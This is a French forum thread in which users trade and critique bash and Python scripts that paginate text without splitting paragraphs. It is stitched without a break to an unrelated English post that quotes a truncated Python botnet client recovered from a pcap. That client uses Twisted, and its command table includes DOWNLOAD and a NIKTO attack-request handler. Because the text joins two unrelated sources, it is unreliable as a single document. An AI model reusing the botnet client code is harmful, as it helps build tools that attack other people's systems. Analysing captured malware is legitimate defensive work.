# Version : 0.1
# ref num : 3735928559
# goal and rules :
# Le but de ce challenge est de réaliser un script qui formate le texte de
# façon à ce qu'un paragraphe ne soit jamais coupé entre deux pages.
#
# Le script devra prendre en compte une variable définissant le nombre
# de caractères maximum par ligne et le nombre maximum de lignes par page.
# ------------- INITIALISATION --------------
# Get the 3 input variables
if [ $# -ne 3 ]; then
echo -e "\033[01;31mError :\033[0m ${0##*/} must be invoked by giving the number of characters by line," >&2
echo "the number of line by page and the name of the file to process" >&2
echo >&2
echo -e "\033[01;31mUSAGE :\033[0m $0 numOfCharByLine numOfLineByPage fileToProcess" >&2
exit 1
fi
# let guarantee to have integers
let numberOfCharsByLine=$1
let numberOfLinesByPage=$2
fileToProcess=$3
if [ ! -f ${fileToProcess} ]; then
echo -e "\033[01;31mError :\033[0m ${fileToProcess} must be a regular file" >&2
exit 1
fi
tmpFile1="/tmp/temporaryFileChallengeBash6UbuntuFr-$(date +%d-%m-%y-%N)"
touch ${tmpFile1}
finalFile="${fileToProcess}-$(date +%d-%m-%y)-ready_to_be_printed"
touch ${finalFile}
# ---------- END OF INITIALISATION ----------
# -------------- PROCESSING -----------------
echo -e "\033[01;31mProcess starting...\033[0m Please wait. It might be slow on some machines."
linedArray[0]=""
let counter=0
while read currentLine; do
# insert a '\n' on the line $numberOfCharsByLine
# need to add int(${#currentLine}/$numberOfCharsByLine) '\n'
sizeOfTheCurrentLine=${#currentLine}
numberOfIterations=$((sizeOfTheCurrentLine / numberOfCharsByLine))
if [ $numberOfIterations -gt 0 ]; then
for ((i=0; i<=numberOfIterations; i++)); do
linedArray[$counter]="${currentLine:$((i * numberOfCharsByLine)):${numberOfCharsByLine}}"
let counter++
done
else
linedArray[$counter]=${currentLine}
let counter++
fi
done < ${fileToProcess}
# here linedArray is a copy of the original file, but with the maximal number of chars by line respected
# Now repair the paragraphs, and return an error if the number of lines from a paragraph is grater than $numberOfLinesByPage
# Paragraphs are separated by empty lines (lines with only '\n', spaces and/or tabs)
let i=0
let j=0
let paragraph[0]=0
nol=${#linedArray[@]}
for((k=0; k<nol; k++)); do
# check if the current line is blank
if echo ${linedArray[$k]} | grep --regexp='^[[:blank:]]*$' > /dev/null; then
let j=0
let i++
else
paragraph[$i]=$j
if [ $((paragraph[$i]+1)) -gt $numberOfLinesByPage ]; then
echo -e "\033[01;31mError :\033[0m in this challenge a paragraph must NEVER be split. Aborting..." >&2
rm ${finalFile}
exit 1
fi
let j++
fi
done
numberOfParagraphs=${#paragraph[@]}
# Now numbers are known. Repartition of paragraphs is done on the sheet
# Counts the maximum number of paragraphs that it's possible to put on 1 page. Rest of the page is filled with '\n'
let i=0
let pageNum=0
let numberOfParagraphsForThisPage=0
let numberOfLinesForThisPage=0
let page[0]=0
# second +1 if for the '\n'
while [ $i -lt $numberOfParagraphs ]; do
let numberOfLinesForThisPage=$(( numberOfLinesForThisPage + paragraph[$i] + 2 ))
if [ $numberOfLinesForThisPage -gt $numberOfLinesByPage ]; then
# check if the the last newline is the problem
if [ $((numberOfLinesForThisPage-1)) -gt $numberOfLinesByPage ]; then
# No, newline isn't the problem. Also the latest paragraph must be removed
let numberOfLinesForThisPage=$(( numberOfLinesForThisPage - (paragraph[$i] + 2) ))
let i--
else
# Yes that was newline. So we have a full page
let numberOfLinesForThisPage--
fi
# here the page is full
let page[$pageNum]=numberOfLinesForThisPage
let numberOfLinesForThisPage=0
let pageNum++
fi
let i++
done
#otherwise the last loop is forgotten (do while loop will be better)
let page[$pageNum]=numberOfLinesForThisPage
# creation of the final document
let numberOfPages=${#page[@]}
for((i=0; i<numberOfPages; i++)); do
for((j=0; j<numberOfLinesByPage; j++)); do
# take the n first lines from tmpFile1 then add blank line to complete the page
if [ $j -lt ${page[$i]} ]; then
echo "${linedArray[$((i*numberOfLinesByPage + j))]}" >> ${tmpFile1}
else
echo >> ${tmpFile1}
fi
done
done
cp ${tmpFile1} ${finalFile}
echo -e "\033[01;31mProcessing done !\033[0m"
echo -e "Final file is : \033[01;32m${finalFile}\033[0m. You can print it with lpr(1) for example."
rm ${tmpFile1}
# ---------- END OF PROCESSING --------------
Simplement moi-même..
Hors ligne
AnsuzPeorth
Re : [JEU] challenge bash #6
Bjr,
J'ai voulu le faire en python, mais j'y arrive pas (foutu encodage de caractères...)
Donc la version bash :
J'ai fait en sorte qu'il n'y ai pas de caractère unique en fin de ligne (un mot coupé qui ne reste qu'un caractère), je n'ai pas mis de - pour les mots coupés (pas le gout ). C'est du quasi full-bash (à part wc qui aurait pu être remplacé par une boucle pour du full-bash)!
Je suis passé par des fichiers temp pour chaque paragraphes, faire ça avec des variables aurait compliqué le code inutilement (enfin, avec la façon dont je voyais les choses)
Ca motivera peut être d'autres personnes à proposer leur solution !
script.sh nb_caratères nb_lignes fichier_a_traiter
#!/bin/bash
FICHIER=$3
NB_CAR=$1
NB_LIGNE=$2
var=
par=1
while read ligne
do
[[ "$ligne" =~ ^$ ]] && par=$((par+1))
while [ "$ligne" != "" ]
do
if [ "${ligne::1}" = " " ]; then
flag=1
var=${ligne:1:NB_CAR}
else
flag=0
var=${ligne::NB_CAR}
fi
[ "${var:((NB_CAR-2)):1}" = " " ] && var=${var::((NB_CAR-1))}
echo "${var}" >> /tmp/paragraphe$par
[ "$flag" = 0 ] && ligne=${ligne/$var/} || ligne=${ligne/ $var/}
done
done < "$FICHIER"
nb_lignes=0
n=0
nb=0
for fichier in /tmp/paragraphe*
do
nb_li=$(wc -l $fichier)
nb_lignes=$((${nb_li% *}+old_nb))
old_nb=$nb_lignes
if [ $nb_lignes -lt $NB_LIGNE ]; then
para=$(< $fichier)
if [ "$nb" = 0 ]; then
page="$para"
nb=$((nb+1))
else
page="$page\n\n$para"
old_nb=$((old_nb+1))
fi
else
n=$((n+1))
echo -e "PAGE $n\n$page"
page=$(< $fichier)
old_nb=${nb_li% *}
fi
done
rm /tmp/paragraphe*
exit
Hors ligne
gilbert
Re : [JEU] challenge bash #6
salut AnsuzPeorth
essaie ton script avec un fichier texte, tel que celui-ci :
C'est Lou qu'on la nommait
Il est des loups de toute sorte
Je connais le plus inhumain
Mon cœur que le diable l'emporte
Et qu'il le dépose à sa porte
N'est plus qu'un jouet dans sa main
Les loups jadis étaient fidèles
Comme sont les petits toutous
Et les soldats amants des belles
Galamment en souvenir d'elles
Ainsi que les loups étaient doux
Mais aujourd'hui les temps sont pires
Les loups sont tigres devenus
Et les Soldats et les Empires
Les Césars devenus Vampires
Sont aussi cruels que Vénus
J'en ai pris mon parti Rouveyre
Et monté sur mon grand cheval
Je vais bientôt partir en guerre
Sans pitié chaste et l'œil sévère
Comme ces guerriers qu'Épinal
Vendait Images populaires
Que Georgin gravait dans le bois
Où sont-ils ces beaux militaires
Soldats passés Où sont les guerres
Où sont les guerres d'autrefois
./scriptAnsuzPeorth 30 30 poemeLou
et voici ce que ton script affiche :
PAGE 1C'est Lou qu'on la nommaitIl est des loups de toute sorteJe connais le plus inhumainMon cœur que le diable l'emporteEt qu'il le dépose à sa porteN'est plus qu'un jouet dans samainLes loups jadis étaient fidèlesComme sont les petits toutousEt les soldats amants des bellesGalamment en souvenir d'ellesAinsi que les loups étaient douxMais aujourd'hui les temps sont piresLes loups sont tigres devenusEt les Soldats et les EmpiresLes Césars devenus VampiresSont aussi cruels que Vénus
le texte n'est pas complet, il manque la fin ... Sinon que se passe-t-il lorsque l'on passe des valeurs shadock ?
./scriptAnsuzPeorth 30 1 poemeLou
et voici ce que ton script affiche :
PAGE 1PAGE 2C'est Lou qu'on la nommaitPAGE 3Il est des loups de toute sorteJe connais le plus inhumainMon cœur que le diable l'emporteEt qu'il le dépose à sa porteN'est plus qu'un jouet dans samainPAGE 4Les loups jadis étaient fidèlesComme sont les petits toutousEt les soldats amants des bellesGalamment en souvenir d'ellesAinsi que les loups étaient douxPAGE 5Mais aujourd'hui les temps sont piresLes loups sont tigres devenusEt les Soldats et les EmpiresLes Césars devenus VampiresSont aussi cruels que VénusPAGE 6J'en ai pris mon parti RouveyreEt monté sur mon grand chevalJe vais bientôt partir en guerreSans pitié chaste et l'œil sévèreComme ces guerriers qu'Épinal
Tu as des paragraphes coupés, alors que ça ne devrait pas se produire et certaines de tes pages font plus que 1 ligne...
Sinon que se passe-t-il quand on passe des nombres négatifs ? (là aussi mon code bug)
./scriptAnsuzPeorth -30 30 poemeLou
et voici ce que ton script affiche :
./scriptAnsuzPeorth: line 17: NB_CAR : expression de sous-chaîne négative
wc: /tmp/paragraphe*: Aucun fichier ou dossier de ce type
./scriptAnsuzPeorth: line 28: /tmp/paragraphe*: Aucun fichier ou dossier de ce type
rm: ne peut enlever `/tmp/paragraphe*': Aucun fichier ou dossier de ce type
Bon tu peux trouver mille situations où mon code ne se comporte pas correctement non plus ;-)
Mais je pense que pour les suivants, il faudrait faire attention à ce genre de situations
Dernière modification par gilbert (Le 14/03/2010, à 16:31)
Simplement moi-même..
Hors ligne
AnsuzPeorth
Re : [JEU] challenge bash #6
Bjr,
Faut dire que j'ai fait mes essais sur un texte, pas un poème où les lignes comportent un nombre limité de caractères.
Et j'ai bien précisé que mon but premier était de le faire en python, le script bash n'était que pour dégrossir, comme je ne suis pas arrivé avec python, j'ai juste posé le modèle bash (j'ai pas fignolé non plus, j'ai pas essayé toutes les configurations possible et inimaginable de texte, c'est un premier jet.) Cela avait pour but de motiver d'autres personnes, en sachant qu'il est facilement possible de faire mieux. Il faut faire vivre cette initiative de challenge, c'est une bonne idée, mais qui n'attire pas foule (ou alors pour critiquer !)
Je viens même de me rendre compte que le dernier paragraphe de mon texte n'était pas pris en compte lors du traitement !(et j'ai pas envie de chercher bien que ca doit être un détail, j'ai la tête ailleurs, qui a dit python )
J'ai fait des essais avec ton script par curiosité sur un texte 'normal'(enfin, normal, c'est vite dit, c'est un simple copié coller du net) , le résultat n'est pas plus brillant . (manque des lignes, des blancs en début de ligne, des caractères tout seul en fin de ligne...)
Le texte:
Beaucoup d'utilisateurs d'ordinateurs utilisent une version modifiée du Système GNU tous les jours sans même le réaliser.
Après une tournure particulière des événements, la version de GNU qui est largement utilisée est souvent appelée « Linux » et beaucoup de ses utilisateurs ne savent pas qu'il s'agit basiquement du système GNU, dévelopé par le Projet GNU.
Il existe vraiment un Linux, et ces personnes l'utilisent, mais c'est juste une partie du système qu'ils utilisent. Linux est le noyau : le programme du système qui alloue les ressources de la machine aux autres programmes que vous exécutez. Le noyau est une partie essentielle du système d'exploitation, mais il est inutile seul ; il ne peut fonctionner que dans le contexte d'un système d'exploitation complet. Linux est normalement utilisé en combinaison avec le système d'exploitation GNU : le système complet est basiquement GNU avec Linux ajouté, ou GNU/Linux. toutes les distributions appelées « Linux » sont en réalité des distributions GNU/Linux.
Beaucoup d'utilisateurs ne sont pas au courant de la distinction entre le noyau, Linux, et le système en entier qu'ils appellent aussi « Linux ».
L'usage ambigü du nom ne facilite pas la compréhension. Ces utilisateurs pensent que Linus Torvalds a dévelopé tout le système d'exploitation en 1991, avec un peu d'aide.
Les programmeurs savent en général que Linux est un noyau. Mais puisqu'ils ont entendu le système entier être appelé « Linux » aussi, souvent ils conçoivent une histoire tournant autour de ce nom. Par exemple, plusieurs d'entre eux croient que dès que Linus Torvalds a achevé l'écriture du noyau, ses amis ont recherché d'autres logiciels libres et que, pour aucune raison en particulier, la plupart de ce qui était nécessaire à un système semblable à Unix était déja disponible.
Ce qu'ils ont trouvé n'était pas un accident : c'était le système GNU. Les logiciels libres disponibles complétèrent le système parce que le Projet GNU travaillait à en concevoir un depuis 1984. Le manifeste GNU a mis en avant le dessein de développer un système semblable à Unix et appelé GNU. L'Annonce Initiale du Projet GNU souligne aussi quelques-uns des plans originaux pour le système GNU. Au moment où Linux était lancé, le système était presque fini.
La plupart des projets de logiciel libre ont pour but de développer un programme particulier pour accomplir une tâche particulière. Par exemple, Linus Torvalds s'est attelé à écrire un noyau semblable à Unix (Linux); Donald Knuth s'est attelé à écrire un programme de formatage de texte (TeX); Bob Scheifler s'est attelé à développer un système de fenêtrage (X Window System). Il est naturel de mesurer la contribution de ce type de projet par les programmes spécifiques qui proviennent dudit projet.
Si nous essayions de mesurer la contribution du Projet GNU de cette manière, à quelle conclusion arriverions-nous ? Un producteur de CD-ROM a constaté dans sa « Distribution de Linux » que les Logiciels GNU y représentaient la plus grande entité, 28% du code source total, et que cela incluait quelques-uns des composants majeurs essentiels sans lesquels il n'y aurait pas de système. Linux lui-même n'y prenait une part que de 3%. (Les proportions en 2008 sont similaires : dans le répertoire « principal » de gNewSense, Linux a une part de 1,5% et les paquetages GNU de 15%). Alors s'il fallait trouver un nom pour le systèmeen se basant sur qui avait écrit les programmes qui le composent, le seul choix le plus approprié serait « GNU ».
Mais nous ne pensons pas que c'est la meilleure manière de considérer la question. Le Projet GNU n'était pas, et n'est pas, un projet pour développer des paquetages logiciels spécifiques. Ce n'était pas un projet pour développer un compilateur C, bien que nous l'ayions fait. Ce n'était pas non plus un projet pour développer un éditeur de texte, bien que nous en ayions développé un. L'objectif final du Projet GNU est de développer un système semblable à Unix, complet et libre : GNU.
Hors ligne
gilbert
Re : [JEU] challenge bash #6
salut,
haha encore un mordu du serpent
ouais je sais, mais même avec le poème mon script fait plein de fautes... Bon comme toi, je suis pas très bon en bash... et mon style de code doit révéler assez aisément que je fais du C :-)
Bon tu as l'avantage d'avoir un code beaucoup plus lisible que le mien.
Sinon je pense que pour que ce challenge attire plus de monde, il faudrait des défis intéressants, mais simples. Dans le sens où il n'y a pas à se gratter 15 ans pour trouver l'algorithme ultime! Et ça à mon avis c'est pas facile...
Où autrement, on peut faire un défi où chacun utilise son langage préféré, mais ça devient plus complexe à évaluer...
Bref, dans tous les cas je pense qu'il faut supporter ce genre d'initiative, bien qu'elle soit encore a améliorer.
Simplement moi-même..
Hors ligne
nesthib
Re : [JEU] challenge bash #6
@AnsuzPeorth : merci de participer au challenge je sais qu'un "concurrent" prépare une version en python alors libre à toi…
(pour l'encodage n'oublie pas de préciser le #-*- coding: UTF-8 -*- au début du script et d'utiliser les chaînes unicode)
@gilbert : libre à toi de faire des propositions après ici c'est pas trop sorcier non plus question algo
Hors ligne
toto2006
Re : [JEU] challenge bash #6
bsr,
bon voila mon code je préviens j'ai pas fait de vérifs pour éviter les coupures sauvages dans les mots et ya surement pleins de bugs
#!/bin/bash
####### ESPACEUR DE PARAGRAPHE #######
# Recuperation & Test des arguments
[ "${#@}" -ne 3 ] && {
echo "usage:$0 MAX_X MAX_Y FICHIER "
exit 1
}
TestVar(){
# Test si Var est entier et >= 0
var=$1
[ $var -ge 0 ] 2> /dev/null
VAL=$?
[ $VAL -ne 0 -a $VAL -ne 1 ] && {
echo "Erreur $1 n'est pas un entier "
exit 1
} || {
[ $VAL -eq 1 ] && {
echo "Erreur $1 < 0 "
exit 1
}
}
}
X=$1 && TestVar $1
Y=$2 && TestVar $2
FICIN=$3
[ ! -f $FICIN ] && {
echo "Erreur $FICIN n'est pas un fichier valide! "
exit 1
}
FICTMP="/tmp/tmp.fic"
# Recuperation des paragraphes
indpar=0
para=0
pg[0]=""
while read
do
[ "${REPLY}" != "" ] && {
para=1
pg[indpar]="${pg[$indpar]}"$'\n'"${REPLY}"
} || {
[ $para -eq 1 ] && {
((indpar++))
pg[indpar]=""
}
para=0
}
FIN=${REPLY}
done < "$FICIN"
[ "$FIN" != "" ] && ((indpar++))
# Mise en forme selon max X et Recuperation de la taille des paragraphes
> $FICTMP
YChange=0
for((i=0;i<indpar;i++)){
fin=${#pg[$i]}
tp[i]=0
for((j=1,posx=0;j<fin;j++)){
((posx++))
car="${pg[$i]:j:1}"
echo -n "$car" >> $FICTMP
[ "$car" == $'\n' ] && {
posx=0
((tp[i]++))
}
[ $posx -eq $X ] && {
posx=0
echo -e >> $FICTMP
((tp[i]++))
}
}
((tp[i]++))
[ ${tp[i]} -gt $Y ] && {
Y=${tp[i]}
YChange=1
}
echo -e "\n" >> $FICTMP
}
[ $YChange -eq 1 ] && {
echo "Taille miminum de la page pour ne pas couper les paragraphes Y = $Y"
exit 1
}
# Mise en page selon max Y
for((i=0,pos=1,dec=1,count=0;i<indpar;i++)){
deb=$pos
fin=$(( $pos + ${tp[$i]} ))
pos=$(( $fin + 1 ))
count2=$(( $count + $fin - $deb + 1 ))
dif=$(( $Y * $dec + $dec ))
[ $count2 -ge $dif ] && {
padstop=$(( $dif - $count - 1 ))
for((j=0;j<padstop;j++)){
echo -e
}
count=$(( count2 + padstop + 1 ))
dec=$(( dec + 1 ))
} || count=$count2
sed -n ${deb},${fin}p $FICTMP
}
rm $FICTMP
Hors ligne
Kanor
Re : [JEU] challenge bash #6
Une version en python qui n'est pas très jolie je suis partie sur une mauvaise idée pour l'algorithme mais ça semble marcher quand même. Mais on doit pouvoir faire beaucoup mieux
#-*- coding: UTF-8 -*-
from optparse import (Option,
OptionParser, OptionValueError)
from copy import copy
import os
def check_int_positive(option, opt, value):
try:
value = int(value)
except ValueError:
raise OptionValueError(
"option %s: invalid int value: %r" % (opt, value))
if value > 0:
return value
else:
raise OptionValueError(
"option %s: value %s inférieur ou égale à 0" (opt, value))
class MyOption (Option):
TYPES = Option.TYPES + ("int_positive",)
TYPE_CHECKER = copy(Option.TYPE_CHECKER)
TYPE_CHECKER["int_positive"] = check_int_positive
if __name__ == "__main__":
usage = "usage: %prog [options] arg"
parser = OptionParser(usage = usage,
option_class = MyOption )
parser.add_option("-f", "--file", dest="filename",
help=u"Permet de charger un fichier")
parser.add_option("-c", "--caractere", dest="nb_caractere", type="int_positive", \
help=u"Définit le nombre de caractére par ligne ")
parser.add_option("-l", "--ligne", dest="nb_ligne", type="int_positive", \
help=u"Définit le nombre de ligne par page")
(options, args) = parser.parse_args()
if not options.filename:
parser.error("Vous devez spécifier un fichier")
if not options.nb_caractere:
parser.error("Vous devez specifier un nombre de caractére par ligne")
if not options.nb_ligne:
parser.error("Vous devez specifier un nombre de ligne par page")
if not os.path.exists(options.filename):
raise IOError("Fichier inexistant")
#Récupération du fichier
file_obj = open(options.filename)
text = file_obj.read()
#Passage en unicode
text = text.decode('utf-8')
#Découpage des lignes à la bonne taille
list_paragraphe = text.split("\n\n")
new_list_paragraphe = []
for paragraphe in list_paragraphe:
paragraphe = paragraphe.replace("\n"," ")
list_text = []
nb_ligne = len(paragraphe)/options.nb_caractere
nb_ligne += 1 if (len(paragraphe) % options.nb_caractere) else 0
for item in range(0, nb_ligne):
start = item * options.nb_caractere
end = start + options.nb_caractere
list_text.extend(list(paragraphe[start: end]))
list_text.append("\n")
new_list_paragraphe.append( "".join(list_text))
#Gestion des paragraphes dans la page
list_page = [[]]
page_current = 0
for paragraphe in new_list_paragraphe:
ligne = len(paragraphe.split("\n"))
#Cas ou le paragraphe est plus long que la page
if ligne > options.nb_ligne:
paragraphe_on_page = ligne/options.nb_ligne
paragraphe_on_page += 1 if ligne % options.nb_ligne else 0
diff = 0
for item in range(0, paragraphe_on_page):
start = diff
if list_page[page_current]:
nb_ligne_page_current = 0
else:
nb_ligne_page_current = sum([len(par.split("\n"))
for par in list_page[page_current]])
end = start + (options.nb_ligne - nb_ligne_page_current)
diff = end - start
list_page[page_current].append( "\n".join(paragraphe.split("\n")[start: end]))
list_page.append([])
page_current += 1
else:
nb_ligne_page_current = sum([len(par.split("\n")) for par in list_page[page_current]])
diff = options.nb_ligne - nb_ligne_page_current
if diff >= ligne:
list_page[page_current].append( paragraphe)
else:
list_page.append([paragraphe])
page_current += 1
text_format = "Page\n"
text_format += "\nPage \n".join(["\n".join(page) for page in list_page if page])
print text_format
Dernière modification par Kanor (Le 16/03/2010, à 20:50)
Hors ligne
AnsuzPeorth
Re : [JEU] challenge bash #6
Bon comme toi, je suis pas très bon en bash
Je ne me permettrais pas de juger tes compétences, mais ici, ce n'est pas la maitrise du language, mais l'algo qui est en cause.
pour l'encodage n'oublie pas de préciser le #-*- coding: UTF-8 -*- au début du script et d'utiliser les chaînes unicode
Vivi, je me suis battu avec encode, decode & co, mais en vain... C'est vraiment un problème l'encodage de fichier en informatique. Sujet bien expliqué par aleph2 sur ce forum !
J'ai essayé la proposition en python, et tjrs un problème d'encodage (finalement, bash s'en sort pas si mal ) :
text = unicode(text)
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 66: ordinal not in range(128)
Hors ligne
AnsuzPeorth
Re : [JEU] challenge bash #6
Bon aller, j'ai pris 2 mn pour afficher le dernier paragraphe (c'est une rustine !).
J'ai juste ajouté 2 lignes. Ca fonctionne, sauf bien sur si on veut afficher un nombre de lignes inferieur aux nombres de ligne d'un paragraphe (forcement, le paragraphe apparaitra en entier). Le challenge etait justement de ne pas découper un paragraphe si je ne m'abuse ! Si on ne mets qu'une seule ligne en paramètre (comme a fait gilbert pour essayer mon script avec son texte), la premiere page sera blanche, avec 2, c'est ok ( mais bon, quelle idée de mettre une seule ligne en paramètre )
#!/bin/bash
FICHIER=$3
NB_CAR=$1
NB_LIGNE=$2
var=
par=1
while read ligne
do
[[ "$ligne" =~ ^$ ]] && par=$((par+1))
while [ "$ligne" != "" ]
do
if [ "${ligne::1}" = " " ]; then
flag=1
var=${ligne:1:NB_CAR}
else
flag=0
var=${ligne::NB_CAR}
fi
[ "${var:((NB_CAR-2)):1}" = " " ] && var=${var::((NB_CAR-1))}
echo "${var}" >> /tmp/paragraphe$par
[ "$flag" = 0 ] && ligne=${ligne/$var/} || ligne=${ligne/ $var/}
done
done < "$FICHIER"
old_nb=0
nb_lignes=0
n=0
nb=0
nbf=0
for fichier in /tmp/paragraphe*
do
nbf=$((nbf+1))
nb_li=0 && while read l; do nb_li=$((nb_li+1)); done < $fichier
nb_lignes=$((nb_li+old_nb))
old_nb=$nb_lignes
if [ $nb_lignes -lt $NB_LIGNE ]; then
para=$(< $fichier)
if [ "$nb" = 0 ]; then
page="$para"
nb=$((nb+1))
else
page="$page\n\n$para"
old_nb=$((old_nb+1))
fi
else
n=$((n+1))
echo -e "PAGE $n\n$page"
page=$(< $fichier)
old_nb=$nb_li
fi
[ "$par" = "$nbf" ] && n=$((n+1)) && echo -e "PAGE $n\n$page"
done
rm /tmp/paragraphe*
exit
J'ai supprimé la commande wc, comme ça, on est en full-bash
Dernière modification par AnsuzPeorth (Le 15/03/2010, à 05:24)
Hors ligne
gilbert
Re : [JEU] challenge bash #6
gilbert a écrit :
Bon comme toi, je suis pas très bon en bash
Je ne me permettrais pas de juger tes compétences, mais ici, ce n'est pas la maitrise du language, mais l'algo qui est en cause.
Excuse-moi, je remarque que c'est très mal adroit comme j'ai écrit ça... je ne voulais pas bien entendu pas te juger...
Bref, puisque l'on peut apporter des améliorations... Voici une version corrigée de mon script... Il doit toujours y avoir des coquilles, mais moins que dans mon premier post...
J'ai rajouté un cat à la fin de mon script (ligne 162) pour que l'on puisse voir directement le résultat, et j'ai ajouté la ligne 146 qui indique le début de la page... Il faut bien évidemment commenter cette ligne si on veut avoir la version imprimable correcte.
#!/usr/bin/env bash
# Challenge bash 6 - forum ubuntu-fr
# Author : gilbert
# Date : 15.03.2010
# Version : 0.2
# ref num : 3735928559
# goal and rules :
# Le but de ce challenge est de réaliser un script qui formate le texte de
# façon à ce qu'un paragraphe ne soit jamais coupé entre deux pages.
#
# Le script devra prendre en compte une variable définissant le nombre
# de caractères maximum par ligne et le nombre maximum de lignes par page.
# ------------- INITIALISATION --------------
# Get the 3 input variables
if [ $# -ne 3 ]; then
echo -e "\033[01;31mError :\033[0m ${0##*/} must be invoked by giving the number of characters by line," >&2
echo "the number of line by page and the name of the file to process" >&2
echo >&2
echo -e "\033[01;31mUSAGE :\033[0m $0 numOfCharByLine numOfLineByPage fileToProcess" >&2
exit 1
fi
# let guarantee to have integers
let numberOfCharsByLine=$1
let numberOfLinesByPage=$2
fileToProcess=$3
if [ ! -f ${fileToProcess} ]; then
echo -e "\033[01;31mError :\033[0m ${fileToProcess} must be a regular file" >&2
exit 1
fi
tmpFile1="/tmp/temporaryFileChallengeBash6UbuntuFr-$(date +%d-%m-%y-%N)"
touch ${tmpFile1}
finalFile="${fileToProcess}-$(date +%d-%m-%y)-ready_to_be_printed"
touch ${finalFile}
# ---------- END OF INITIALISATION ----------
# -------------- PROCESSING -----------------
echo -e "\033[01;31mProcess starting...\033[0m Please wait. It might be slow on some machines."
declare -a linedArray
let counter=0
# insert a newline at the end of the file. Avoid problems with read
cp ${fileToProcess} ${tmpFile1}
echo >> ${tmpFile1}
while read currentLine; do
# insert a '\n' on the line $numberOfCharsByLine
# need to add int(${#currentLine}/$numberOfCharsByLine) '\n'
sizeOfTheCurrentLine=${#currentLine}
numberOfIterations=$((sizeOfTheCurrentLine / numberOfCharsByLine))
if [ $numberOfIterations -gt 0 ]; then
for ((i=0; i<=numberOfIterations; i++)); do
linedArray[$counter]="${currentLine:$((i * numberOfCharsByLine)):${numberOfCharsByLine}}"
let counter++
done
else
linedArray[$counter]=${currentLine}
let counter++
fi
done < ${tmpFile1}
# here linedArray is a copy of the original file, but with the maximal number of chars by line respected
# Now repair the paragraphs, and return an error if the number of lines from a paragraph is grater than $numberOfLinesByPage
# Paragraphs are separated by empty lines (lines with only '\n', spaces and/or tabs)
let i=0
let j=0
declare -a paragraph
let paragraph[0]=0
nol=${#linedArray[@]}
for((k=0; k<nol; k++)); do
# check if the current line is blank
if echo ${linedArray[$k]} | grep --regexp='^[[:blank:]]*$' > /dev/null; then
let j=0
let i++
paragraph[$i]=$j
else
paragraph[$i]=$j
let j++
if [ $((paragraph[$i]+1)) -gt $numberOfLinesByPage ]; then
echo -e "\033[01;31mError :\033[0m in this challenge a paragraph must NEVER be split. Aborting..." >&2
rm ${finalFile}
exit 1
fi
fi
done
numberOfParagraphs=${#paragraph[@]}
# Now numbers are known. Repartition of paragraphs is done on the sheet
# Counts the maximum number of paragraphs that it's possible to put on 1 page. Rest of the page is filled with '\n'
let i=0
let pageNum=0
let numberOfParagraphsForThisPage=0
let numberOfLinesForThisPage=0
declare -a page
let page[0]=0
# second +1 if for the '\n'
while [ $i -lt $numberOfParagraphs ]; do
let numberOfLinesForThisPage=$(( numberOfLinesForThisPage + paragraph[$i] + 2 ))
if [ $numberOfLinesForThisPage -gt $numberOfLinesByPage ]; then
# check if the the last newline is the problem
if [ $((numberOfLinesForThisPage-1)) -gt $numberOfLinesByPage ]; then
# No, newline isn't the problem. Also the latest paragraph must be removed
let numberOfLinesForThisPage=$(( numberOfLinesForThisPage - (paragraph[$i] + 2) ))
let i--
else
# Yes that was newline. So we have a full page
let numberOfLinesForThisPage--
fi
# here the page is full
let page[$pageNum]=numberOfLinesForThisPage
let numberOfLinesForThisPage=0
let pageNum++
fi
let i++
done
#otherwise the last loop is forgotten (do while loop will be better)
let page[$pageNum]=numberOfLinesForThisPage
# creation of the final document
let numberOfPages=${#page[@]}
# empty ${tmpFile1}
cat /dev/null > ${tmpFile1}
let currentLineInLinedArray=0
for((i=0; i<numberOfPages; i++)); do
echo "Page $((i+1))" >> ${tmpFile1}
for((j=0; j<numberOfLinesByPage; j++)); do
# take the n first lines from tmpFile1 then add blank line to complete the page
if [ $j -lt ${page[$i]} ]; then
echo "${linedArray[$currentLineInLinedArray]}" >> ${tmpFile1}
let currentLineInLinedArray++
else
echo >> ${tmpFile1}
fi
done
done
cp ${tmpFile1} ${finalFile}
echo -e "\033[01;31mProcessing done !\033[0m"
echo -e "Final file is : \033[01;32m${finalFile}\033[0m. You can print it with lpr(1) for example."
cat ${finalFile}
rm ${tmpFile1}
# ---------- END OF PROCESSING --------------
Simplement moi-même..
Hors ligne
samυncle
Re : [JEU] challenge bash #6
Personnellement je serais pour l'intégration d'autres langages de scripting (perl, ruby, python) après il faut pouvoir les juger et ne pas trop s'éparpiller.
+42
Hello world
Hors ligne
nesthib
Re : [JEU] challenge bash #6
+42
et la création d'une bibliothèque curses pour python ça compte pas
Hors ligne
samυncle
Re : [JEU] challenge bash #6
et la création d'une bibliothèque curses pour python ça compte pas
et merde je suis démasqué
C'est juste que j'aime bien le python et si je peux participer à ce défi en utilisant du python ce sera sympa
Hello world
Hors ligne
toto2006
Re : [JEU] challenge bash #6
Personnellement je serais pour l'intégration d'autres langages de scripting (perl, ruby, python) après il faut pouvoir les juger et ne pas trop s'éparpiller.
samuncle a écrit:
+42
+-1 pour rajouter d'autres langages
mais dans ce cas il faut changer le nom du topic pour Challenge Prog
et du coup rajouter les langages compilés comme C/C++ ASM et tout les autres JAVA PHP BASIC pourquoi pas
enfin bref comment ne pas s'éparpiller
je suis pas contre mais bon dur a organiser .
Hors ligne
nesthib
Re : [JEU] challenge bash #6
@samuncle : ben on attend ta solution en python… allez au boulot !
@toto2006 : c'est à voir, je suis pour ajouter d'autres langages mais j'aimerais que l'on se limite aux langages de scripting
j'ai ouvert un fil dédié pour discuter du fonctionnement du jeu
Hors ligne
AnsuzPeorth
Re : [JEU] challenge bash #6
@samuncle : ben on attend ta solution en python… allez au boulot !
Vivi, on attend ! J'aimerais bien voir comment résoudre ce problème d'encodage de caractères (le script de kanor me retourne une erreur !)
Hors ligne
|
I got a python script decrypted out of a pcap file it's communication from a botnet (proberbly the c&c) but when i start the script i ain't getting login or passwords.
What does this script do? And how can i find the client controller?
from twisted.internet import reactor
from twisted.internet.protocol import ReconnectingClientFactory
from twisted.protocols.basic import LineReceiver
import os
import re
import random
import sys
import subprocess
from base64 import b64encode, b64decode
class ZeroNetClientProtocol(LineReceiver):
delimiter = "\n"
def __init__(self, pass1, pass2):
self.pass1 = pass1
self.pass2 = pass2
self.version = 1.101
self.state = "INIT"
self.commands = {
"DOWNLOAD": {
"request_args": 1,
"request_handler": None,
"response_args": 2,
"response_handler": self.handleDownloadResponse,
},
"NIKTO": {
"request_args": 2,
"request_handler": self.handleAttackRequest,
"response_args": 2,
